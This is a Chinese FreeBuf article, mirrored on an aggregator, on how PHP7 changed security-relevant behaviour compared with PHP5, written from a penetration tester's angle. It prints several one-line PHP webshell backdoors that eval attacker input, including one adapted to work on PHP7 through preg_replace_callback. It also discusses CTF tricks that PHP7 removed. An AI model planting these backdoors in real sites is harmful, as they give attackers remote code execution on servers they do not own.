107

PHP7和PHP5在安全上的区别

 5 years ago
source link: https://www.freebuf.com/articles/web/197013.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文作者:温酒,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

之前测试的时候发现很多菜刀的马都不能用了,大马也几乎3/4不能正常在php7运行。网上百度也没有找到太多相关性的文章,就自己总结测试了一下关于安全性上的区别。

函数修改

preg_replace()不再支持/e修饰符

<?php
preg_replace("/.*/e",$_GET["h"],"."); 
?>

利用 \e 修饰符执行代码的后门大家也用了不少了,具体看官方的这段 描述 :

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

很不幸,在PHP7以上版本不在支持 \e 修饰符,同时官方给了我们一个新的函数 preg_replace_callback

这里我们稍微改动一下就可以利用它当我们的后门:

<?php
preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]);
?>

ru6JjiF.jpg!web

create_function()被废弃

<?php
$func =create_function('',$_POST['cmd']);$func();
?>

少了一种可以利用当后门的函数,实际上它是通过执行 eval 实现的。可有可无。

mysql_*系列全员移除

如果你要在PHP7上面用老版本的mysql_*系列函数需要你自己去额外装了,官方不在自带,现在官方推荐的是mysqli或者pdo_mysql。这是否预示着未来SQL注入漏洞在PHP上的大幅减少呢~

去特么的预示,我已经很久没在目标站上挖到过sql注入了,全都是预编译!

unserialize()增加一个可选白名单参数

$data = unserialize($serializedObj1 , ["allowed_classes" => true]);
$data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);

其实就是一个白名单,如果反序列数据里面的类名不在这个白名单内,就会报错。

FFRvI3f.jpg!web

像这样的报错!

可以是类名也可以是布尔数据,如果是 FALSE 就会将所有的对象都转换为 __PHP_Incomplete_Class 对象。 TRUE 是无限制。也可以传入类名实现白名单。

妈的,还好现在是可选不是必选,要是默认 FALSE 逼程序员弄白名单那就真的吐血了。

assert()默认不在可以执行代码

这就是众多马不能用的罪魁祸首了,太多的马用assert()来执行代码了,这个更新基本就团灭,一般情况下修改成eval即可正常运行了~

提一下,菜刀在实现文件管理器的时候用的恰好也是assert函数,这导致菜刀没办法在PHP7上正常运行。

语法修改

foreach不再改变内部数组指针

<?php
$a = array('1','2','3');
foreach ($a as $k=>&$n){
    echo "";
}
print_r($a);
foreach ($a as $k=>$n){
    echo "";

}
print_r($a);

这样的代码在php5中,是这样的执行结果: ZJrIVvq.jpg!web 因为数组最后一个元素的 $value 引用在 foreach 循环之后仍会保留,在第二个循环的时候实际上是对之前的指针不断的赋值。php7中通过值遍历时,操作的值为数组的副本,不在对后续操作进行影响。

这个改动影响了某些cms的洞在PHP7上无法利用了….你知道我指的是哪个洞的。

这个问题在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。

8进制字符容错率降低

在php5版本,如果一个八进制字符如果含有无效数字,该无效数字将被静默删节。

<?php
echo octdec( '012999999999999' ) . "\n";
echo octdec( '012' ) . "\n";
if (octdec( '012999999999999' )==octdec( '012' )){
        echo ": )". "\n";
}

比如这样的代码在php5中的执行结果如下: NVnAFj2.jpg!web

但是在php7里面会触发一个解析错误。

这个问题同样在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。

十六进制字符串不再被认为是数字

这个修改一出,以后CTF套路会少很多啊~

很多骚操作都不能用了~

这个没什么好说的,大家都懂。

<?php
var_dump("0x123" == "291");
var_dump(is_numeric("0x123"));
var_dump("0xe" + "0x1");
var_dump(substr("foo", "0x1"));
?>

以上代码在PHP5运行结果如下:

zMbQZzU.jpg!web

PHP7运行结果如下:

Y7vu2ez.jpg!web

你以为我要说这个在后续版本被改回去了?不,目前截至最新的PHP7.3版本依然没有改回去的征兆,官方称不会在改了。这个讲道理还是蛮伤的。

移除了 ASP 和 script PHP 标签

vi6Nfy3.jpg!web

现在只有 <?php ?> 这样的标签能在php7上运行了。

字面意思,影响其实不是很大(只是以后骚套路会少一点)。

超大浮点数类型转换截断

将浮点数转换为整数的时候,如果浮点数值太大,导致无法以整数表达的情况下, 在PHP5的版本中,转换会直接将整数截断,并不会引发错误。 在PHP7中,会报错。

CTF又少一个出题套路,这个问题我只在CTF上见过,影响应该不大。

杂项

exec(), system() passthru() 函数对 NULL 增加了保护.

list() 不再能解开字符串 string 变量

$HTTP_RAW_POST_DATA 被移除

__autoload() 方法被废弃

parse_str() 不加第二个参数会直接把字符串导入当前的符号表,如果加了就会转换称一个数组。现在是第二个参数是强行选项了。

统一不同平台下的整型长度

session_start() 可以加入一个数组覆盖php.ini的配置

后记

这篇文章将保持长期更新和修正。但是很遗憾FB在发布之后作者就没有权限更改了,因此后续更新将在博客上发布。

错误的地方或者不全的地方请通过[email protected]联系我。

引用

1. http://php.net/

*本文作者:温酒,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK